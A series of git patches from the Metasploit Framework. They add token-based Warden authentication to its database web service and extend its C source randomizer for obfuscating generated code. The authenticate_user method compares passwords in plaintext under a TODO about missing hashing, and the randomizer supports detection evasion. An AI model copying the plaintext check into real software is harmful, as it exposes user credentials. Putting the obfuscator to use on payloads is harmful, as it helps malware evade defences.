z+Vyi964L>16G-*+Ql7B+Zr!D|jXn!WsK)9kgzKqn+0bh*CsXbLm}Ghg>Diw}$++!^ zM)ywbxX1!Vv_NLywbFERGWwHel=7MCsdI$;uz2i5fHAdOgY6N;fz?YUf&t7d&N|O( z&-f{D9CJ6a@x;@!^fdHxB8)Klgmk8<{BI4FCxBbJ(s0WX$`ThY<3+GZ|Tczm{3l z_YJ$WmLzhK{$@J8f7ec^$aGK+y@WTi@ANl5x=Z?H zF<^M?9lEuQ-RRr8PQ}$EG9tv^F;IwOMM-^_ktbg~?!DNAMM|~rWv4ASyc0f3_j&j_ zD9N_E2>^`m@M`rxzkGrwSDDd$rlbD=2IG7}&Lv#w>$zz;-&?sE5ijT)?TMMI=#X&u=Ig4MUUq6 za@(l7#)a-q4{BPg_6YE%?DE<6KFo`xo3yRij&ALCt7lr_0RBIik6mxF993xk*)Gj( z%%PV2xaP2p6m5wuiEh 'application/json'} - [200, headers, to_json(data, includes)] + [code, headers, to_json(data, includes)] + end + + def set_json_data_response(response:, includes: nil, code: 200) + data_response = {"data": response} + set_json_response(data_response, includes = includes, code = code) + end + + def set_json_error_response(response:, includes: nil, code:) + error_response = {"error": response} + set_json_response(error_response, includes = includes, code = code) end def set_html_response(data) @@ -70,6 +80,19 @@ module ServletHelper params.symbolize_keys.except(:captures, :splat) end + # Get Warden::Proxy object from the Rack environment. + # @return [Warden::Proxy] The Warden::Proxy object from the Rack environment. + def warden + env['warden'] + end + + # Get Warden options hash from the Rack environment. + # @return [Hash] The Warden options hash from the Rack environment. + def warden_options + env['warden.options'] + end + + ####### private ####### diff --git a/lib/msf/core/db_manager/http/sinatra_app.rb b/lib/msf/core/db_manager/http/sinatra_app.rb deleted file mode 100644 index afed924f5b..0000000000 --- a/lib/msf/core/db_manager/http/sinatra_app.rb +++ /dev/null @@ -1,43 +0,0 @@ -require 'sinatra/base' -require 'swagger/blocks' -require 'msf/core/db_manager/http/servlet_helper' -require 'msf/core/db_manager/http/servlet/api_docs_servlet' -require 'msf/core/db_manager/http/servlet/host_servlet' -require 'msf/core/db_manager/http/servlet/note_servlet' -require 'msf/core/db_manager/http/servlet/vuln_servlet' -require 'msf/core/db_manager/http/servlet/event_servlet' -require 'msf/core/db_manager/http/servlet/web_servlet' -require 'msf/core/db_manager/http/servlet/msf_servlet' -require 'msf/core/db_manager/http/servlet/workspace_servlet' -require 'msf/core/db_manager/http/servlet/service_servlet' -require 'msf/core/db_manager/http/servlet/session_servlet' -require 'msf/core/db_manager/http/servlet/exploit_servlet' -require 'msf/core/db_manager/http/servlet/loot_servlet' -require 'msf/core/db_manager/http/servlet/session_event_servlet' -require 'msf/core/db_manager/http/servlet/credential_servlet' -require 'msf/core/db_manager/http/servlet/nmap_servlet' -require 'msf/core/db_manager/http/servlet/db_export_servlet' -require 'msf/core/db_manager/http/servlet/vuln_attempt_servlet' - -class SinatraApp < Sinatra::Base - helpers ServletHelper - - # Servlet registration - register ApiDocsServlet - register HostServlet - register VulnServlet - register EventServlet - register WebServlet - register MsfServlet - register NoteServlet - register WorkspaceServlet - register ServiceServlet - register SessionServlet - register ExploitServlet - register LootServlet - register SessionEventServlet - register CredentialServlet - register NmapServlet - register DbExportServlet - register VulnAttemptServlet -end \ No newline at end of file diff --git a/lib/msf/core/db_manager/http/views/auth/account.erb b/lib/msf/core/db_manager/http/views/auth/account.erb new file mode 100644 index 0000000000..3bc9368a47 --- /dev/null +++ b/lib/msf/core/db_manager/http/views/auth/account.erb @@ -0,0 +1,138 @@ + + + + + Account - Metasploit API + + + + + + + + + +
+

Metasploit API Account

+ + <% if warden.authenticated?(:user) %> +
Current API Token:
+
+ <%= !warden.user(:user).nil? && !warden.user(:user).persistence_token.nil? ? warden.user(:user).persistence_token : 'none' %> +
+ <% end %> +
+ + + \ No newline at end of file diff --git a/lib/msf/core/db_manager/http/views/auth/login.erb b/lib/msf/core/db_manager/http/views/auth/login.erb new file mode 100644 index 0000000000..acb57f7543 --- /dev/null +++ b/lib/msf/core/db_manager/http/views/auth/login.erb @@ -0,0 +1,54 @@ + + + + + Log In - Metasploit API + + + + + +
+
+
+

Log In - Metasploit API

+ + + + + + + +
+
+
+ + + \ No newline at end of file diff --git a/lib/msf/core/db_manager/user.rb b/lib/msf/core/db_manager/user.rb new file mode 100644 index 0000000000..4dd5da08ac --- /dev/null +++ b/lib/msf/core/db_manager/user.rb @@ -0,0 +1,98 @@ +require 'sysrandom/securerandom' + +module Msf::DBManager::User + + # Returns a list of all users in the database + def users(opts) + ::ActiveRecord::Base.connection_pool.with_connection { + + search_term = opts.delete(:search_term) + if search_term && !search_term.empty? + column_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Mdm::User, search_term) + Mdm::User.where(opts).where(column_search_conditions) + else + Mdm::User.where(opts) + end + } + end + + # + # Report a user's attributes + # + # The opts parameter MUST contain + # +:XXX+:: -- the users's XXX + # + # The opts parameter can contain: + # +:XXX+:: -- XXX + # + def report_user(opts) + return if !active + + # TODO: implement method + raise 'Msf::DBManager::User#report_user is not implemented' + end + + def update_user(opts) + ::ActiveRecord::Base.connection_pool.with_connection { + # process workspace string for update if included in opts + wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false) + opts[:workspace] = wspace if wspace + + id = opts.delete(:id) + Mdm::User.update(id, opts) + } + end + + # Deletes user entries based on the IDs passed in. + # + # @param opts[:ids] [Array] Array containing Integers corresponding to the IDs of the user entries to delete. + # @return [Array] Array containing the Mdm::User objects that were successfully deleted. + def delete_user(opts) + raise ArgumentError.new("The following options are required: :ids") if opts[:ids].nil? + + ::ActiveRecord::Base.connection_pool.with_connection { + deleted = [] + opts[:ids].each do |user_id| + user = Mdm::User.find(user_id) + begin + deleted << user.destroy + rescue # refs suck + elog("Forcibly deleting #{user}") + deleted << user.delete + end + end + + return deleted + } + end + + # Authenticates the user. + # + # @param opts[:ids] [Integer] ID of the user to authenticate. + # @param opts[:password] [String] The user's password. + # @return [Boolean] true if the user is successfully authenticated; otherwise, false. + def authenticate_user(opts) + raise ArgumentError.new("The following options are required: :id") if opts[:id].nil? + raise ArgumentError.new("The following options are required: :password") if opts[:password].nil? + + user = Mdm::User.find(opts[:id]) + # TODO: Yes, we need proper password salting and hashing here + if !user.nil? && user.crypted_password == opts[:password] + true + else + false + end + end + + # Creates a new API token for the user. + # + # @param opts[:ids] [Integer] ID for the user. + # @return [String] The new API token. + def create_new_user_token(opts) + raise ArgumentError.new("The following options are required: :id") if opts[:id].nil? + + token_length = opts[:token_length] || 20 + # NOTE: repurposing persistence_token in the database as the API token + Mdm::User.update(opts[:id], {persistence_token: SecureRandom.hex(token_length)}).persistence_token + end +end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 7199164539..64435ce055 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -103,6 +103,8 @@ Gem::Specification.new do |spec| # Required for msfdb_ws (Metasploit data base as a webservice) spec.add_runtime_dependency 'thin' spec.add_runtime_dependency 'sinatra' + spec.add_runtime_dependency 'sysrandom' + spec.add_runtime_dependency 'warden' # TimeZone info spec.add_runtime_dependency 'tzinfo-data' # Gem for dealing with SSHKeys From f38e5af0bf71023366844fddc8bf8d00278d653d Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 22 Jun 2018 15:38:17 -0400 Subject: [PATCH 043/217] Use external style sheet --- .../core/db_manager/http/public/msf-ws.css | 95 +++++++++++++++++++ .../db_manager/http/views/auth/account.erb | 72 +------------- .../core/db_manager/http/views/auth/login.erb | 30 +----- 3 files changed, 97 insertions(+), 100 deletions(-) create mode 100644 lib/msf/core/db_manager/http/public/msf-ws.css diff --git a/lib/msf/core/db_manager/http/public/msf-ws.css b/lib/msf/core/db_manager/http/public/msf-ws.css new file mode 100644 index 0000000000..44f3c72e36 --- /dev/null +++ b/lib/msf/core/db_manager/http/public/msf-ws.css @@ -0,0 +1,95 @@ +body { + margin:0; +} + +ul { + background-color: rgb(47,47,47); + list-style-type: none; + margin: 0; + padding: 0; + overflow: hidden; +} + +li { + float: left; +} + +li a, .dropdown-btn { + display: inline-block; + color: white; + text-align: center; + padding: 14px 16px; + text-decoration: none; +} + +li a:hover, .dropdown-menu:hover .dropdown-btn { + background-color: rgb(73,73,73); +} + +li.dropdown-menu { + display: inline-block; +} + +.dropdown-content { + display: none; + position: absolute; + background-color: rgb(73,73,73); + min-width: 160px; + box-shadow: 0px 8px 16px 0px rgba(0,0,0,0.2); + z-index: 1; +} + +.dropdown-content a { + color: white; + padding: 12px 16px; + text-decoration: none; + display: block; + text-align: left; +} + +.dropdown-content a:hover { + background-color: rgb(96,96,96); +} + +.dropdown-menu:hover .dropdown-content { + display: block; +} + +.api-token { + float:left; +} + +#api-token-label { + font-weight: bold; +} + +#api-token { + margin-left: 7px; +} + +.credential-container { + border: 1px solid rgba(0, 0, 0, 0.4); + box-shadow: 0 2px 3px rgba(0, 0, 0, 0.55); + margin-left: auto; + margin-right: auto; + max-width: 390px; + min-width: 300px; + min-height: 250px; + padding: 34px; +} + +input[type=text], input[type=password] { + border-color: rgba(0, 0, 0, 0.6); + border-width: 1px; + margin-bottom: 16px; + width: 100%; + height: 34px; +} + +button { + border-color: rgba(0, 0, 0, 0.6); + border-width: 1px; + cursor: pointer; + width: 100%; + height: 34px; +} diff --git a/lib/msf/core/db_manager/http/views/auth/account.erb b/lib/msf/core/db_manager/http/views/auth/account.erb index 3bc9368a47..56a7246732 100644 --- a/lib/msf/core/db_manager/http/views/auth/account.erb +++ b/lib/msf/core/db_manager/http/views/auth/account.erb @@ -3,77 +3,7 @@ Account - Metasploit API - - + diff --git a/lib/msf/core/db_manager/http/views/auth/login.erb b/lib/msf/core/db_manager/http/views/auth/login.erb index acb57f7543..3cd69c9d39 100644 --- a/lib/msf/core/db_manager/http/views/auth/login.erb +++ b/lib/msf/core/db_manager/http/views/auth/login.erb @@ -3,35 +3,7 @@ Log In - Metasploit API - - + From f125fd62c822da2c8cde4634408322b4854cce4e Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Fri, 22 Jun 2018 17:14:45 -0400 Subject: [PATCH 044/217] Add authentication to protected endpoints --- lib/msf/core/db_manager/http/servlet/credential_servlet.rb | 2 ++ lib/msf/core/db_manager/http/servlet/db_export_servlet.rb | 1 + lib/msf/core/db_manager/http/servlet/event_servlet.rb | 1 + lib/msf/core/db_manager/http/servlet/exploit_servlet.rb | 1 + lib/msf/core/db_manager/http/servlet/host_servlet.rb | 5 +++++ lib/msf/core/db_manager/http/servlet/loot_servlet.rb | 4 ++++ lib/msf/core/db_manager/http/servlet/nmap_servlet.rb | 1 + lib/msf/core/db_manager/http/servlet/note_servlet.rb | 4 ++++ lib/msf/core/db_manager/http/servlet/service_servlet.rb | 4 ++++ .../core/db_manager/http/servlet/session_event_servlet.rb | 2 ++ lib/msf/core/db_manager/http/servlet/session_servlet.rb | 2 ++ lib/msf/core/db_manager/http/servlet/vuln_attempt_servlet.rb | 2 ++ lib/msf/core/db_manager/http/servlet/vuln_servlet.rb | 4 ++++ lib/msf/core/db_manager/http/servlet/web_servlet.rb | 1 + lib/msf/core/db_manager/http/servlet/workspace_servlet.rb | 4 ++++ 15 files changed, 38 insertions(+) diff --git a/lib/msf/core/db_manager/http/servlet/credential_servlet.rb b/lib/msf/core/db_manager/http/servlet/credential_servlet.rb index 7984e58a2e..9388c9fcfb 100644 --- a/lib/msf/core/db_manager/http/servlet/credential_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/credential_servlet.rb @@ -15,6 +15,7 @@ module CredentialServlet def self.get_credentials lambda { + warden.authenticate! begin opts = parse_json_request(request, false) sanitized_params = sanitize_params(params) @@ -37,6 +38,7 @@ module CredentialServlet def self.create_credential lambda { + warden.authenticate! job = lambda { |opts| opts[:origin_type] = opts[:origin_type].to_sym opts[:private_type] = opts[:private_type].to_sym diff --git a/lib/msf/core/db_manager/http/servlet/db_export_servlet.rb b/lib/msf/core/db_manager/http/servlet/db_export_servlet.rb index 2fe7fcfa60..2992a33d34 100644 --- a/lib/msf/core/db_manager/http/servlet/db_export_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/db_export_servlet.rb @@ -14,6 +14,7 @@ module DbExportServlet def self.get_db_export lambda { + warden.authenticate! begin opts = params.symbolize_keys opts[:path] = File.join(Msf::Config.local_directory, "#{File.basename(opts[:path])}-#{SecureRandom.hex}") diff --git a/lib/msf/core/db_manager/http/servlet/event_servlet.rb b/lib/msf/core/db_manager/http/servlet/event_servlet.rb index 8cc3882e8a..de31af7bba 100644 --- a/lib/msf/core/db_manager/http/servlet/event_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/event_servlet.rb @@ -14,6 +14,7 @@ module EventServlet def self.report_event lambda { + warden.authenticate! job = lambda { |opts| get_db().report_event(opts) } exec_report_job(request, &job) } diff --git a/lib/msf/core/db_manager/http/servlet/exploit_servlet.rb b/lib/msf/core/db_manager/http/servlet/exploit_servlet.rb index f5f7a31748..ebc3458151 100644 --- a/lib/msf/core/db_manager/http/servlet/exploit_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/exploit_servlet.rb @@ -14,6 +14,7 @@ module ExploitServlet def self.report_exploit lambda { + warden.authenticate! job = lambda { |opts| case opts[:exploit_report_type] when "attempt" diff --git a/lib/msf/core/db_manager/http/servlet/host_servlet.rb b/lib/msf/core/db_manager/http/servlet/host_servlet.rb index ee94cfe1b7..db4a3db7e0 100644 --- a/lib/msf/core/db_manager/http/servlet/host_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/host_servlet.rb @@ -26,6 +26,7 @@ module HostServlet def self.get_host lambda { + warden.authenticate! begin opts = parse_json_request(request, false) sanitized_params = sanitize_params(params) @@ -40,6 +41,7 @@ module HostServlet def self.report_host lambda { + warden.authenticate! begin job = lambda { |opts| data = get_db.report_host(opts) @@ -53,6 +55,7 @@ module HostServlet def self.update_host lambda { + warden.authenticate! begin opts = parse_json_request(request, false) tmp_params = sanitize_params(params) @@ -67,6 +70,7 @@ module HostServlet def self.delete_host lambda { + warden.authenticate! begin opts = parse_json_request(request, false) data = get_db.delete_host(opts) @@ -80,6 +84,7 @@ module HostServlet # TODO: remove once hosts and get_host method is merged def self.search lambda { + warden.authenticate! begin opts = parse_json_request(request, false) data = get_db().get_host(opts) diff --git a/lib/msf/core/db_manager/http/servlet/loot_servlet.rb b/lib/msf/core/db_manager/http/servlet/loot_servlet.rb index b6c94ed176..5e7cc4921c 100644 --- a/lib/msf/core/db_manager/http/servlet/loot_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/loot_servlet.rb @@ -21,6 +21,7 @@ module LootServlet def self.get_loot lambda { + warden.authenticate! begin opts = parse_json_request(request, false) sanitized_params = sanitize_params(params) @@ -38,6 +39,7 @@ module LootServlet def self.report_loot lambda { + warden.authenticate! job = lambda { |opts| if opts[:data] filename = File.basename(opts[:path]) @@ -54,6 +56,7 @@ module LootServlet def self.update_loot lambda { + warden.authenticate! begin opts = parse_json_request(request, false) tmp_params = sanitize_params(params) @@ -68,6 +71,7 @@ module LootServlet def self.delete_loot lambda { + warden.authenticate! begin opts = parse_json_request(request, false) data = get_db.delete_loot(opts) diff --git a/lib/msf/core/db_manager/http/servlet/nmap_servlet.rb b/lib/msf/core/db_manager/http/servlet/nmap_servlet.rb index 761b0ec30a..c200fd762b 100644 --- a/lib/msf/core/db_manager/http/servlet/nmap_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/nmap_servlet.rb @@ -14,6 +14,7 @@ module NmapServlet def self.import_nmap_xml_file lambda { + warden.authenticate! job = lambda { |opts| nmap_file = File.basename(opts[:filename]) diff --git a/lib/msf/core/db_manager/http/servlet/note_servlet.rb b/lib/msf/core/db_manager/http/servlet/note_servlet.rb index 9b92634b96..cdf560f28b 100644 --- a/lib/msf/core/db_manager/http/servlet/note_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/note_servlet.rb @@ -21,6 +21,7 @@ module NoteServlet def self.get_note lambda { + warden.authenticate! begin opts = parse_json_request(request, false) sanitized_params = sanitize_params(params) @@ -35,6 +36,7 @@ module NoteServlet def self.report_note lambda { + warden.authenticate! begin job = lambda { |opts| get_db.report_note(opts) @@ -48,6 +50,7 @@ module NoteServlet def self.update_note lambda { + warden.authenticate! begin opts = parse_json_request(request, false) tmp_params = sanitize_params(params) @@ -62,6 +65,7 @@ module NoteServlet def self.delete_note lambda { + warden.authenticate! begin opts = parse_json_request(request, false) data = get_db.delete_note(opts) diff --git a/lib/msf/core/db_manager/http/servlet/service_servlet.rb b/lib/msf/core/db_manager/http/servlet/service_servlet.rb index feaf8ac47a..72d072a637 100644 --- a/lib/msf/core/db_manager/http/servlet/service_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/service_servlet.rb @@ -21,6 +21,7 @@ module ServiceServlet def self.get_services lambda { + warden.authenticate! begin opts = sanitize_params(params) data = get_db.services(opts) @@ -34,6 +35,7 @@ module ServiceServlet def self.report_service lambda { + warden.authenticate! job = lambda { |opts| get_db.report_service(opts) } includes = [:host] exec_report_job(request, includes, &job) @@ -42,6 +44,7 @@ module ServiceServlet def self.update_service lambda { + warden.authenticate! begin opts = parse_json_request(request, false) tmp_params = sanitize_params(params) @@ -56,6 +59,7 @@ module ServiceServlet def self.delete_service lambda { + warden.authenticate! begin opts = parse_json_request(request, false) data = get_db.delete_service(opts) diff --git a/lib/msf/core/db_manager/http/servlet/session_event_servlet.rb b/lib/msf/core/db_manager/http/servlet/session_event_servlet.rb index 5051dbfa89..11931cd5da 100644 --- a/lib/msf/core/db_manager/http/servlet/session_event_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/session_event_servlet.rb @@ -15,6 +15,7 @@ module SessionEventServlet def self.get_session_event lambda { + warden.authenticate! begin opts = parse_json_request(request, false) data = get_db.session_events(opts) @@ -27,6 +28,7 @@ module SessionEventServlet def self.report_session_event lambda { + warden.authenticate! begin job = lambda { |opts| get_db.report_session_event(opts) diff --git a/lib/msf/core/db_manager/http/servlet/session_servlet.rb b/lib/msf/core/db_manager/http/servlet/session_servlet.rb index 7d5f4d48e0..ceaedea607 100644 --- a/lib/msf/core/db_manager/http/servlet/session_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/session_servlet.rb @@ -19,6 +19,7 @@ module SessionServlet def self.get_session lambda { + warden.authenticate! begin opts = parse_json_request(request, false) sanitized_params = sanitize_params(params) @@ -33,6 +34,7 @@ module SessionServlet def self.report_session lambda { + warden.authenticate! begin job = lambda { |opts| if opts[:session_data] diff --git a/lib/msf/core/db_manager/http/servlet/vuln_attempt_servlet.rb b/lib/msf/core/db_manager/http/servlet/vuln_attempt_servlet.rb index c14a578bd8..611d92d6a0 100644 --- a/lib/msf/core/db_manager/http/servlet/vuln_attempt_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/vuln_attempt_servlet.rb @@ -19,6 +19,7 @@ module VulnAttemptServlet def self.get_vuln_attempt lambda { + warden.authenticate! begin opts = parse_json_request(request, false) data = get_db.vuln_attempts(params.symbolize_keys) @@ -31,6 +32,7 @@ module VulnAttemptServlet def self.report_vuln_attempt lambda { + warden.authenticate! begin job = lambda { |opts| vuln_id = opts.delete(:vuln_id) diff --git a/lib/msf/core/db_manager/http/servlet/vuln_servlet.rb b/lib/msf/core/db_manager/http/servlet/vuln_servlet.rb index 1c4654d4da..22eb3bd6be 100644 --- a/lib/msf/core/db_manager/http/servlet/vuln_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/vuln_servlet.rb @@ -21,6 +21,7 @@ module VulnServlet def self.get_vuln lambda { + warden.authenticate! begin opts = parse_json_request(request, false) sanitized_params = sanitize_params(params) @@ -35,6 +36,7 @@ module VulnServlet def self.report_vuln lambda { + warden.authenticate! begin job = lambda { |opts| get_db.report_vuln(opts) @@ -48,6 +50,7 @@ module VulnServlet def self.update_vuln lambda { + warden.authenticate! begin opts = parse_json_request(request, false) tmp_params = sanitize_params(params) @@ -62,6 +65,7 @@ module VulnServlet def self.delete_vuln lambda { + warden.authenticate! begin opts = parse_json_request(request, false) data = get_db.delete_vuln(opts) diff --git a/lib/msf/core/db_manager/http/servlet/web_servlet.rb b/lib/msf/core/db_manager/http/servlet/web_servlet.rb index 45c294f45d..1b7ee2886a 100644 --- a/lib/msf/core/db_manager/http/servlet/web_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/web_servlet.rb @@ -14,6 +14,7 @@ module WebServlet def self.report_web lambda { + warden.authenticate! job = lambda { |opts| get_db().report_web_site(opts) } exec_report_job(request, &job) } diff --git a/lib/msf/core/db_manager/http/servlet/workspace_servlet.rb b/lib/msf/core/db_manager/http/servlet/workspace_servlet.rb index e5d2c38ee6..3abc03bb70 100644 --- a/lib/msf/core/db_manager/http/servlet/workspace_servlet.rb +++ b/lib/msf/core/db_manager/http/servlet/workspace_servlet.rb @@ -21,6 +21,7 @@ module WorkspaceServlet def self.get_workspace lambda { + warden.authenticate! begin opts = parse_json_request(request, false) includes = nil @@ -37,6 +38,7 @@ module WorkspaceServlet def self.add_workspace lambda { + warden.authenticate! begin opts = parse_json_request(request, true) workspace = get_db.add_workspace(opts) @@ -49,6 +51,7 @@ module WorkspaceServlet def self.update_workspace lambda { + warden.authenticate! begin opts = parse_json_request(request, false) tmp_params = sanitize_params(params) @@ -63,6 +66,7 @@ module WorkspaceServlet def self.delete_workspace lambda { + warden.authenticate! begin opts = parse_json_request(request, false) data = get_db.delete_workspaces(opts) From 90bc7d2294c1e5727495315c3926a6ba908e5a62 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Fri, 22 Jun 2018 18:22:29 -0500 Subject: [PATCH 045/217] Update randomizer for progress --- .../crandomizer/code_factory/base.rb | 29 ++++++++++- .../code_factory/fake_function_collection.rb | 15 ++++++ .../code_factory/outputdebugstring.rb | 2 +- .../crandomizer/code_factory/printf.rb | 2 +- .../obfuscation/crandomizer/modifier.rb | 42 +++++++++++++++- .../obfuscation/crandomizer/parser.rb | 11 ++++- .../crandomizer/random_statements.rb | 49 ++++++++++++++++--- tools/exploit/randomize_c.rb | 29 +++++++++++ 8 files changed, 165 insertions(+), 14 deletions(-) create mode 100644 tools/exploit/randomize_c.rb diff --git a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base.rb index e8dfb6a6e2..a35feaa735 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/base.rb @@ -11,14 +11,41 @@ module Metasploit attr_reader :code def initialize - @dep = '' + @dep = [] @code = normalized_stub end + # Override this method when you inherit this class. + # The method should return the source of the stub you're strying to create, + # as a C function. + # For example: + # %Q| + # void printf(const char*); + # void stub() { + # printf("hello world\n"); + # }| + # Notice if you are using a function like the above, you must declare/define that + # beforehand. The function declaration will not be used in the final source code. def stub raise NotImplementedError end + # Checks whether this class is suitable for the code. + # + # @param parser [Metasm::C::Parser] + # @return [Boolean] + def good_dep?(parser) + # The difference between @dep and parser.toplevel.symbol.keys + # is the list of functions not being supported by the original code. + ready_function_names = parser.toplevel.symbol.keys + delta = dep - ready_function_names + if delta.empty? + true + else + false + end + end + def normalized_stub stub_parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(stub) stub_parser.toplevel.statements.last.var.initializer.statements diff --git a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb index f11eab5700..b6964619eb 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb @@ -10,6 +10,10 @@ module Metasploit attr_accessor :functions attr_reader :max_functions + # Initializes a Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection instance. + # + # @param max_functions [Integer] Max number of fake functions to generate. + # @return [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection] def initialize(max_functions) @functions = [] @max_functions = max_functions @@ -17,20 +21,29 @@ module Metasploit self end + # Yields a list of fake functions available. def each functions.each do |f| yield f end end + # Returns a fake function from the FakeFunctionCollection object. + # + # @return [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunction] def sample functions.sample end + # Returns a string that joins the fake functions def to_s functions.join("\n") end + # Asks the FakeFunctionCollection if a function is available. + # + # @param name [String] + # @return [Boolean] def has_function_name?(name) functions.each do |f| if f.var.name == name @@ -41,12 +54,14 @@ module Metasploit false end + # Checks if the collection is empty or not. def empty? functions.empty? end private + # Generates a list of fake functions to use. def populate max_functions.times do |i| func_name = "function#{i}" diff --git a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring.rb index d5a82287ee..932a98c5aa 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/outputdebugstring.rb @@ -10,7 +10,7 @@ module Metasploit class OutputDebugString < Base def initialize super - @dep = 'Windows.h' + @dep = ['OutputDebugString'] end def stub diff --git a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/printf.rb b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/printf.rb index cd80470e77..d0c592e0ee 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/code_factory/printf.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/code_factory/printf.rb @@ -10,7 +10,7 @@ module Metasploit class Printf < Base def initialize super - @dep = '' + @dep = ['printf'] end def stub diff --git a/lib/metasploit/framework/obfuscation/crandomizer/modifier.rb b/lib/metasploit/framework/obfuscation/crandomizer/modifier.rb index ea06643f95..42631d2528 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/modifier.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/modifier.rb @@ -6,14 +6,25 @@ module Metasploit module CRandomizer class Modifier + attr_reader :parser attr_reader :fake_functions attr_reader :weight - def initialize(f, w) + # Initializes a Metasploit::Framework::Obfuscation::CRandomizer::Modifier instance. + # + # @param p [Metasploit::C::Parser] + # @param f [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection] + # @param w [Integer] Weight of the randomness. + def initialize(p, f, w) + @parser = p @fake_functions = f @weight = w end + # Modifies different if-else blocks recursively. + # + # @param s [Metasm::C::Declaration] + # @return [Metasm::C::Declaration] def modify_if_else_blocks(s) modify_if(s) modify_else_if(s) @@ -21,6 +32,10 @@ module Metasploit s end + # Modifies an if block. + # + # @param s [Metasm::C::Declaration] + # return [void] def modify_if(s) new_if_statements = [] @@ -33,6 +48,10 @@ module Metasploit s.bthen.statements = new_if_statements end + # Modifies an else-if block. + # + # @param s [Metasm::C::Declaration] + # @param [void] def modify_else_if(s) # There could be multiple else if blocks, # this gives the current else if block @@ -54,6 +73,9 @@ module Metasploit end end + # Modifies an else block. + # + # @param s [Metasm::C::Declaration] def modify_else(s) else_block = s.belse @@ -75,6 +97,9 @@ module Metasploit else_block.statements = new_else_statements end + # Modifies a for block. + # + # @param s [Metasm::C::Declaration] def modify_for(s) new_for_statements = [] @@ -89,6 +114,9 @@ module Metasploit s end + # Modifies a nested block. + # + # @param s [Metasm::C::Declaration] def modify_nested_blocks(s) case s when Metasm::C::If @@ -98,6 +126,9 @@ module Metasploit end end + # Modifies a function. + # + # @param s [Metasploit::C::Declaration] def modify_function(s) function_statements = s.var.initializer.statements new_function_statements = [] @@ -126,11 +157,18 @@ module Metasploit private + # Returns fake statements. + # + # @param s [Metasploit::C::Declaration] + # @return [Array] def get_fake_statement(s=nil) - random_statements = Metasploit::Framework::Obfuscation::CRandomizer::RandomStatements.new(fake_functions, s) + random_statements = Metasploit::Framework::Obfuscation::CRandomizer::RandomStatements.new(parser, fake_functions, s) random_statements.get end + # Returns a boolean indicating whether a random is above (or equal to) a number or not. + # + # @return [Boolean] def feeling_lucky? n = (rand * 100).to_i weight >= n diff --git a/lib/metasploit/framework/obfuscation/crandomizer/parser.rb b/lib/metasploit/framework/obfuscation/crandomizer/parser.rb index 6d192b4be9..d754deab92 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/parser.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/parser.rb @@ -10,15 +10,22 @@ module Metasploit attr_accessor :max_random_weight attr_accessor :fake_functions_collection + # Initializes a Metasploit::Framework::Obfuscation::CRandomizer::Parser instance. + # + # @param weight [Integer] Randomness of the code. + # @param fake_functions [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection] def initialize(weight, fake_functions) @max_random_weight = weight @fake_functions_collection = fake_functions end + # Returns a parser. + # + # @param template [String] Soure code to parse. + # @return [Metasm::C::Parser] def parse(template) - modifier = Metasploit::Framework::Obfuscation::CRandomizer::Modifier.new(fake_functions_collection, max_random_weight) - main_parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(template) + modifier = Metasploit::Framework::Obfuscation::CRandomizer::Modifier.new(main_parser, fake_functions_collection, max_random_weight) main_parser.toplevel.statements.each do |s| case s.var.type when Metasm::C::Function diff --git a/lib/metasploit/framework/obfuscation/crandomizer/random_statements.rb b/lib/metasploit/framework/obfuscation/crandomizer/random_statements.rb index eeebc6281b..3d4ff790ee 100644 --- a/lib/metasploit/framework/obfuscation/crandomizer/random_statements.rb +++ b/lib/metasploit/framework/obfuscation/crandomizer/random_statements.rb @@ -7,23 +7,40 @@ module Metasploit class RandomStatements - attr_reader :fake_functions + attr_reader :parser + 